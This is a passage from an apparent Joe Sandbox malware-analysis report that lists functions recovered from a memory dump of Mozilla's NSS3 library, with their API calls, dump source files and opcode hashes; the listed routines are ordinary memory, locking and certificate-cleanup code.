Instruction Fuzzy Hash: CC31A4B1A017429BE700CF16DAC4652B7A8BFB5318B24823AF81D97B05E770E5A4CB91

Function 6C7AFE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C785ADC,?,00000000,00000001,?,?,00000000,?,6C77BA55,?,?), ref: 6C7AFE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C7AFE5F
PR_Unlock.NSS3(78831D74), ref: 6C7AFEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C7AFED6

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 0be0aa943694c5cf8d8513301568fbaa2cfc535e51e888757daec383acc6126e
Instruction ID: 278a499e3df90e26667c49c285d1d3b635441f0b2ffb7802c3eee1e68eb3a147
Opcode Fuzzy Hash: 0be0aa943694c5cf8d8513301568fbaa2cfc535e51e888757daec383acc6126e
Instruction Fuzzy Hash: 9F214631A04215ABD721AFB4DE447AA73B8BF0435CF040234DD0467E42E730E965CBD1

Function 6C7D2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C7D2E08

Part of subcall function 6C7C14C0: TlsGetValue.KERNEL32 ref: 6C7C14E0
Part of subcall function 6C7C14C0: EnterCriticalSection.KERNEL32 ref: 6C7C14F5
Part of subcall function 6C7C14C0: PR_Unlock.NSS3 ref: 6C7C150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C7D2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C7D2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C7D2E95

Part of subcall function 6C7C1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C7688A4,00000000,00000000), ref: 6C7C1228
Part of subcall function 6C7C1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C7C1238
Part of subcall function 6C7C1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C7688A4,00000000,00000000), ref: 6C7C124B
Part of subcall function 6C7C1200: PR_CallOnce.NSS3(6C8C2AA4,6C7C12D0,00000000,00000000,00000000,?,6C7688A4,00000000,00000000), ref: 6C7C125D
Part of subcall function 6C7C1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C7C126F
Part of subcall function 6C7C1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C7C1280
Part of subcall function 6C7C1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C7C128E
Part of subcall function 6C7C1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C7C129A
Part of subcall function 6C7C1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C7C12A1

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 07041323813b464452b94258f6149a94fe0bae607fdce0667438ec78573ea139
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: CD21D7B1E003464BE700CF549E4C7AA37686F9130CF120279DD085B742F7B1EA95C292

Function 6C78ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C78ACC2

Part of subcall function 6C762F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C762F0A
Part of subcall function 6C762F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C762F1D

Part of subcall function 6C762AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C760A1B,00000000), ref: 6C762AF0
Part of subcall function 6C762AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C762B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C78AD5E

Part of subcall function 6C7A57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C76B41E,00000000,00000000,?,00000000,?,6C76B41E,00000000,00000000,00000001,?), ref: 6C7A57E0
Part of subcall function 6C7A57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C7A5843

CERT_DestroyCertList.NSS3(?), ref: 6C78AD36

Part of subcall function 6C762F50: CERT_DestroyCertificate.NSS3(?), ref: 6C762F65
Part of subcall function 6C762F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C762F83

free.MOZGLUE(?), ref: 6C78AD4F

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 17c635f1300650b3481c926a3247e2362d95d92d0b6b8abcc434b444443c8cd7
Instruction ID: e407af4c31153971b7ddcde0fe606adaff1aefe61b97cbc165ae2152fc26925f
Opcode Fuzzy Hash: 17c635f1300650b3481c926a3247e2362d95d92d0b6b8abcc434b444443c8cd7
Instruction Fuzzy Hash: 1121C3B1D022148BEF10DFA5DA0A5EEB7B4EF05218F054078DC09BB641FB31AA49CBE1

Function 6C7B3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7B3C9E
EnterCriticalSection.KERNEL32(?), ref: 6C7B3CAE
PR_Unlock.NSS3(?), ref: 6C7B3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C7B3D02

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: bd402dffde884ea5e54d629749575fd0456dca12a1b2e0e1943cff0e5c94bd69
Instruction ID: 6fcfaa548920f9eb0c06a17262a5947fb168b5951958da7971dee56d9bb80f81
Opcode Fuzzy Hash: bd402dffde884ea5e54d629749575fd0456dca12a1b2e0e1943cff0e5c94bd69
Instruction Fuzzy Hash: 2011B179A00204AFDB10AF28DD49E9A3778EF09368F154474ED089B712EB30ED94CBE1

Function 6C7BECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C7BF0AD,6C7BF150,?,6C7BF150,?,?,?), ref: 6C7BECBA

Part of subcall function 6C7C0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7687ED,00000800,6C75EF74,00000000), ref: 6C7C1000
Part of subcall function 6C7C0FF0: PR_NewLock.NSS3(?,00000800,6C75EF74,00000000), ref: 6C7C1016
Part of subcall function 6C7C0FF0: PL_InitArenaPool.NSS3(00000000,security,6C7687ED,00000008,?,00000800,6C75EF74,00000000), ref: 6C7C102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C7BECD1

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C7BED02

Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C7BED5A

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 0f0d39a0ac3ae808f135e84e5f9a884deb1d5647c87bcf7db4eef35df1383569
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 1521D1B1A007429FE700CF25DA49B52B7E4BFA4308F25C269E81C97B61EBB0E594C7D1

Function 6C7EEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C7D7FFA,?,6C7D9767,?,8B7874C0,0000A48E), ref: 6C7EEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C7D7FFA,?,6C7D9767,?,8B7874C0,0000A48E), ref: 6C7EEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C7D7FFA,?,6C7D9767,?,8B7874C0,0000A48E), ref: 6C7EEE14

Part of subcall function 6C7C0BE0: malloc.MOZGLUE(6C7B8D2D,?,00000000,?), ref: 6C7C0BF8
Part of subcall function 6C7C0BE0: TlsGetValue.KERNEL32(6C7B8D2D,?,00000000,?), ref: 6C7C0C15

memcpy.VCRUNTIME140(?,?,6C7D9767,00000000,00000000,6C7D7FFA,?,6C7D9767,?,8B7874C0,0000A48E), ref: 6C7EEE33

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 38180388da88f4491913c1d7603ed91010b371c7b32e6244816727ba0d328ec3
Instruction ID: 2c2c79f35fc1de91289738b1f8b00f89b53e9acf0c8affacbc17df893b1aba8f
Opcode Fuzzy Hash: 38180388da88f4491913c1d7603ed91010b371c7b32e6244816727ba0d328ec3
Instruction Fuzzy Hash: E8118AB2A0070AABF7109E65DE85B46B36CEF0835DF144935E919D6A41F331F454C7E2

Function 6C788DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C788DE7
EnterCriticalSection.KERNEL32 ref: 6C788DFC
PR_Unlock.NSS3 ref: 6C788E2D
PR_SetError.NSS3 ref: 6C788E49

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: c9a8fe3c5a8f4e6e8fa13905295fa82477b3d1a6ab3d21736dd33d9828cc888c
Instruction ID: aed2efffc41b802d56892ae31d53aaa8943c8a91f1901adacfd41fa71fef181f
Opcode Fuzzy Hash: c9a8fe3c5a8f4e6e8fa13905295fa82477b3d1a6ab3d21736dd33d9828cc888c
Instruction Fuzzy Hash: 6D116D71605A019BD710AF38C588569BBF4BF05318F014939DD88D7B01EB30A894CBE2

Function 6C80AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C7F5F17,?,?,?,?,?,?,?,?,6C7FAAD4), ref: 6C80AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C7F5F17,?,?,?,?,?,?,?,?,6C7FAAD4), ref: 6C80ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C7FAAD4), ref: 6C80ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C7FAAD4), ref: 6C80ACDB

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: e0d95e0e9519c34750762d46910d9c95f56255b7ae837838248d52af89eb8c94
Instruction ID: 23fdd3dde94bb09de7af416b6c3c365b09cc928aded87469165d556d4c3515b9
Opcode Fuzzy Hash: e0d95e0e9519c34750762d46910d9c95f56255b7ae837838248d52af89eb8c94
Instruction Fuzzy Hash: F1014CB1701B019BE760DF29DE09797B7E8BF00659B114839D85AD3A00E735E055CBD1

Function 6C771DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C771DFB

Part of subcall function 6C7695B0: TlsGetValue.KERNEL32(00000000,?,6C7800D2,00000000), ref: 6C7695D2
Part of subcall function 6C7695B0: EnterCriticalSection.KERNEL32(?,?,?,6C7800D2,00000000), ref: 6C7695E7
Part of subcall function 6C7695B0: PR_Unlock.NSS3(?,?,?,?,6C7800D2,00000000), ref: 6C769605

PR_EnterMonitor.NSS3 ref: 6C771E09

Part of subcall function 6C829090: TlsGetValue.KERNEL32 ref: 6C8290AB
Part of subcall function 6C829090: TlsGetValue.KERNEL32 ref: 6C8290C9
Part of subcall function 6C829090: EnterCriticalSection.KERNEL32 ref: 6C8290E5
Part of subcall function 6C829090: TlsGetValue.KERNEL32 ref: 6C829116
Part of subcall function 6C829090: LeaveCriticalSection.KERNEL32 ref: 6C82913F

Part of subcall function 6C76E190: PR_EnterMonitor.NSS3(?,?,6C76E175), ref: 6C76E19C
Part of subcall function 6C76E190: PR_EnterMonitor.NSS3(6C76E175), ref: 6C76E1AA
Part of subcall function 6C76E190: PR_ExitMonitor.NSS3 ref: 6C76E208
Part of subcall function 6C76E190: PL_HashTableRemove.NSS3(?), ref: 6C76E219
Part of subcall function 6C76E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C76E231
Part of subcall function 6C76E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C76E249
Part of subcall function 6C76E190: PR_ExitMonitor.NSS3 ref: 6C76E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C771E37
PR_ExitMonitor.NSS3 ref: 6C771E4A

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 5d966a398b46eb207e6a6b632565b039a25741a826e68b76c97ff593eeb78a75
Instruction ID: 438ab8a8ecd47567645d79d4dbd6cc3980ac38f4a4d1b4406b08618d3cb20a98
Opcode Fuzzy Hash: 5d966a398b46eb207e6a6b632565b039a25741a826e68b76c97ff593eeb78a75
Instruction Fuzzy Hash: 6601F7B1B0015897EF304B29DE14F467768AB41B8DF100035E81C97F91E7B1E814CBE1

Function 6C771D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C771D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C771D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C771D9C
free.MOZGLUE(00000000), ref: 6C771DB8

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: bfe209772f8c2ed98e3eeab183bdf74eb0a1494d6297e6c223ed0729c4046075
Instruction ID: f065e056763744db7a8d0db8683161d01789c4eda409c7387274d52e541c2d35
Opcode Fuzzy Hash: bfe209772f8c2ed98e3eeab183bdf74eb0a1494d6297e6c223ed0729c4046075
Instruction Fuzzy Hash: 65F0D1B2A0161857FF305E1AAF57B863698AB81B98F100235DD1D9BF41D661E8048BF2

Function 6C80AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6C7F5D40,00000000,?,?,6C7E6AC6,6C7F639C), ref: 6C80AC2D

Part of subcall function 6C7AADC0: TlsGetValue.KERNEL32(?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAE10
Part of subcall function 6C7AADC0: EnterCriticalSection.KERNEL32(?,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAE24
Part of subcall function 6C7AADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C78D079,00000000,00000001), ref: 6C7AAE5A
Part of subcall function 6C7AADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAE6F
Part of subcall function 6C7AADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAE7F
Part of subcall function 6C7AADC0: TlsGetValue.KERNEL32(?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAEB1
Part of subcall function 6C7AADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAEC9

PK11_FreeSymKey.NSS3(?,6C7F5D40,00000000,?,?,6C7E6AC6,6C7F639C), ref: 6C80AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6C7F5D40,00000000,?,?,6C7E6AC6,6C7F639C), ref: 6C80AC59
free.MOZGLUE(8CB6FF01,6C7E6AC6,6C7F639C,?,?,?,?,?,?,?,?,?,6C7F5D40,00000000,?,6C7FAAD4), ref: 6C80AC62

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 93fc460ffdf62e69e5a819d8648b89a07686c211243911b63825f6b8c2f8276b
Instruction ID: 88b9fef000e1e696dd824e5325a705a7c62d4487ea68477785c42bf7c5aa2f49
Opcode Fuzzy Hash: 93fc460ffdf62e69e5a819d8648b89a07686c211243911b63825f6b8c2f8276b
Instruction Fuzzy Hash: 68018BB56002009FDB10CF28EEC5B8677A8AF04B5CF198468E8499F706D731E848CBA1

Function 6C7BFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C769003,?), ref: 6C7BFD91

Part of subcall function 6C7C0BE0: malloc.MOZGLUE(6C7B8D2D,?,00000000,?), ref: 6C7C0BF8
Part of subcall function 6C7C0BE0: TlsGetValue.KERNEL32(6C7B8D2D,?,00000000,?), ref: 6C7C0C15

PORT_Alloc_Util.NSS3(A4686C7C,?), ref: 6C7BFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C7C,?,?), ref: 6C7BFDC4
free.MOZGLUE(00000000,?,?), ref: 6C7BFDD1

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 27de58c899e5ec704506165461e8391578b65bc8aaaea6c3d9e6b20e61f1c2a0
